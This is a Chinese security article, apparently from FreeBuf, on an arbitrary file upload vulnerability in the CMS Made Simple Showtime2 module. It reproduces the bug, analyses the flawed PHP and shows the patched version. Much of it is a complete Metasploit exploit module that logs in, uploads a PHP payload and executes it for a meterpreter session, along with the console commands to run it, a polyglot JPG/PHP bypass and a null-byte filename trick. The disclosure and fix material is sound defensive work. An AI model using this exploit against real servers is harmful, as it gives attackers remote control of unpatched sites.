*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
前言
CMS Made Simple(CMSMS)是一个简单、便捷且易用的内容管理系统。前面一篇文章,我们讲述了关于其中一个基于时间的SQL注入漏洞的复现、分析及利用过程。本文详细讨论CMSMS中的另一个漏洞,也是Web安全中较为常见的一种漏洞类型。ShowTime2是CMSMS中比较常用的模块,主要用于上传水印图片。该模块在3.6.2及之前的版本中,存在一个任意文件上传漏洞,无法确保用户上传的水印文件具有标准的图像文件扩展名(gif、jpg、jpeg或png),因此攻击者可以利用该漏洞上传任意文件并且远程执行任意代码。
一 实验环境
1.渗透主机:kali-linux-2018.3-vm-i386
2.目标主机:Debian9.6 x64
3.软件版本:CMS Made Simple 2.2.8
4.插件版本:Showtime2-3.6.0
二 涉及工具
1.BurpSuite v1.7.36
2.Metasploit v4.17.3
3.Mozilla Firefox 60.6.2
三 漏洞复现
1.在showtime2模块中上传一张名为Hacker.jpg的水印图片,显示上传成功,结果如下:
2.尝试上传一个名为test123.php文件,页面中有告警信息,显示服务器未成功获取到图片的尺寸信息,此时上传成功与否无法确定,告警信息如下图所示:
3.通过如下url:
href="http://192.168.188.155/cmsms/uploads/images/test123.php">http://192.168.188.155/cmsms/uploads/images/test123.php
验证php文件是否上传成功,如果上传未成功,应当是如下图所示的内容:
4.从下图可以看出,虽然之前有告警信息,但是文件test123.php依旧上传成功(看来是我想多了,服务端获取图片尺寸的代码,仅仅用来获取图片尺寸了):
5.登录到目标服务器上查看,在如下路径中存在刚才上传的test123.php,如下图所示:
由此我们可以确定,在showtime2模块中存在任意文件上传漏洞。
在有些Web应用中上传图片时,可能会通过获取图片尺寸的方式来防止任意文件的上传,这种方式可以被绕过。在渗透主机中使用如下命令:
root@kali:~/Desktop#cat Hacker.jpg test123.php > Hacker123.php
将Hacker.jpg与test123.php拼接起来,然后再上传到showtime2模块,可以看到php文件上传成功,cmsms无告警,这样便成功绕过了图片尺寸检测,结果如下图所示:
四 漏洞分析
通过分析源代码,我们找到了任意文件上传漏洞的产生点,有关的问题源码如下图所示:
class showtime2_image{
protected function __construct() {}
public static function watermark_image($source_image, $dest_image, $create_bak=true){
$gCms = cmsms();
$config = $gCms->GetConfig();
$mod = cms_utils::get_module('Showtime2');
if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
/*
$fname = str_replace(substr($source_image, strrpos($source_image, '.')), "", $source_image);
$fext = substr($source_image, strrpos($source_image, '.'));
$fname = $fname.'_bak'.$fext;
*/
copy($source_image,$source_image.'.bak');
}
$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
$watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
$watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
if (!file_exists($watermark_file)) return false;
从上述源码中可以看出,在执行完copy函数之后,就直接指定了watermark_file的存储路径,这里没有对上传的文件做任何的校验和过滤,从而导致了任意文件上传漏洞的产生,这是极其危险的编码行为。
五 漏洞利用
1.漏洞利用模块cmsms_showtime2_upload.rb的第一部分,定义渗透模块的基本信息,具体代码如下:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "CMS Made Simple Showtime2 File Upload Exploit",
'Description' => %q(
This module exploits a File Upload vulnerability of
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
user who has "Use Showtime2" privilege could exploit the vulnerability.
),
'License' => MSF_LICENSE,
'Author' => ['Neroqi'],
'Platform' => ['php'],
'Targets' => [
['Automatic', {}]
],
'DisclosureDate' => "August 11 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, "Username for login", '']),
OptString.new('PASSWORD', [true, "Password for login", '']),
OptString.new('TARGETURI', [true, "CMSMS directory path", '/'])
],self.class
)
end
1.1语句require 'msf/core'声明该程序要引入metasploit中所有的核心库文件;
1.2initialize方法初始化了模块中的基本参数,例如名称、描述、作者、许可信息以及应用平台等参数;
1.3register_options定义了模块中要使用的自定义选项,包括USERNAME、PASSWORD以及TARGETURI。
2.漏洞利用模块cmsms_showtime2_upload.rb的第二部分用于登录cmsms,根据抓包数据来设置http的方法、URI以及散列vars_post的键值,BurpSuite的抓包内容如下:
具体代码如下:
def login_cmsms
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
'loginsubmit' => 'Submit'
}
)
unless response
fail_with(Failure::Unreachable, 'Connection failed')
end
if response.code == 302
@location_name = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
@location_value = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
@cookies = response.get_cookies
return
end
fail_with(Failure::NoAccess, 'Login failed')
end
其中下列两条语句使用正则表达式提取出了Location字段的值,用于后续上传payload时构造post数据包:
@location_name = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
@location_value = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
3.漏洞利用模块cmsms_showtime2_upload.rb的第三部分用于上传后门payload,根据抓包数据来设置post数据包的URI、form-data,重点是上传文件的文件名和文件内容,BurpSuite的抓包内容如下:具体代码如下:
def upload_payload(file_name, file_content)
postdata = Rex::MIME::Message.new
postdata.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
postdata.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
postdata.add_part(@location_value, nil, nil, "form-data; name=\"#{@location_name}\"")
postdata.add_part(file_content, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{file_name}\"")
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
'ctype' => "multipart/form-data; boundary=#{postdata.bound}",
'data' => postdata.to_s,
'headers' => {
'Cookie' => @cookies
}
)
unless response
fail_with(Failure::Unreachable, 'Connection failed')
end
if response.code == 200 && (response.body =~ /#{Regexp.escape(file_name)}/i || response.body =~ /id="showoverview"/i)
return
end
print_warning('No confidence in PHP payload success or failure')
end
4.漏洞利用模块cmsms_showtime2_upload.rb的第四部分,检测目标系统中的showtime2模块是否可以渗透利用,具体代码如下:
def check
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
)
unless response
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if response.code == 200
module_version = Gem::Version.new(response.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
if module_version < Gem::Version.new('3.6.3')
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
vprint_status("Showtime2 version: #{module_version}")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
5.漏洞利用模块cmsms_showtime2_upload.rb的第五部分,首先通过unless语句判断目标是否可以被渗透,然后初始化三个实例变量location_name、location_value和cookies,定义变量file_name和file_content并且赋值,接着调用函数login_cmsms和upload_payload,最后通过get方式运行后门文件,具体代码如下:
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@location_name = nil
@location_value = nil
@cookies = nil
login_cmsms
file_name = "#{rand_text_alphanumeric(1..6)}.php"
file_content = "<?php #{payload.encode} ?>"
print_status('Uploading PHP payload.')
upload_payload(file_name, file_content)
print_status("Requesting '/#{file_name}' to execute payload.")
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', file_name)
},
15
)
end
6.在metasploit控制台中使用渗透模块cmsms_showtime2_upload.rb,该模块的参数如下图所示,其中参数PASSWORD、RHOST、RPORT、TARGETURI以及USERNAME为必须要配置的参数,RPORT可以根据需要修改,因为Web服务器对外服务的端口不一定是80,可能是8000、8080、8090等其他端口:7.在metasploit控制台中参数值,具体命令如下:
msf > use exploit/webapp/cmsms_showtime2_upload
msf exploit(webapp/cmsms_showtime2_upload) > set RHOST 192.168.188.155
RHOST => 192.168.188.155
msf exploit(webapp/cmsms_showtime2_upload) > set USERNAME test
USERNAME => test
msf exploit(webapp/cmsms_showtime2_upload) > set PASSWORD test@123
PASSWORD => test@123
msf exploit(webapp/cmsms_showtime2_upload) > set TARGETURI /cmsms/
TarGETURI => /cmsms/
msf exploit(webapp/cmsms_showtime2_upload) > run
8.稍等一会儿,渗透主机便成功与cmsms服务器建立起meterpreter会话,也就取得了目标服务器的控制权,如下图所示:
六 漏洞修复
针对版本号小于等于3.6.2的模块中存在的任意文件上传漏洞,建议及时将ShowTime2模块更新到3.6.3版本。在3.6.3版本中,问题代码得到了修复,修复后的代码如下:
class showtime2_image{
protected function __construct() {}
public static function watermark_image($source_image, $dest_image, $create_bak=true){
$gCms = cmsms();
$config = $gCms->GetConfig();
$mod = cms_utils::get_module('Showtime2');
if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
/*
$fname = str_replace(substr($source_image, strrpos($source_image, '.')), "", $source_image);
$fext = substr($source_image, strrpos($source_image, '.'));
$fname = $fname.'_bak'.$fext;
*/
copy($source_image,$source_image.'.bak');
}
$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
$watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
$watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
$fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));
if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')))
unlink($watermark_file);
if (!file_exists($watermark_file)) return false;
修复后的代码通过如下语句,提取出了用户上传的文件的后缀名,包含”.”符号,并且将后缀名全部转换成了大写字母:
$fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));
然后通过if语句利用白名单进行条件判断,如果后缀名不是白名单数组中的某一个元素,那么就使用unlink函数删除该文件,这样便成功修复了该任意文件上传漏洞,语句如下:
if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')))
unlink($watermark_file);
总结:
针对只允许一种类型的文件上传,比如本文中的图片上传,建议使用白名单的方式进行过滤,不建议使用黑名单。由于上传文件格式的不可预测性以及黑名单限制的扩展名很难覆盖全面等因素,导致了可能会有漏网之鱼。另外结合PHP的特性,可以通过比如“test123.php%00.jpg”的方式来截断文件名,从而绕过黑名单的限制。综上,建议使用白名单的方式来做减法,不在白名单中的文件类型,统一认为是非法文件,一律删除。
*本文原创作者:Neroqi,本文属FreeBuf原创奖励计划,未经许可禁止转载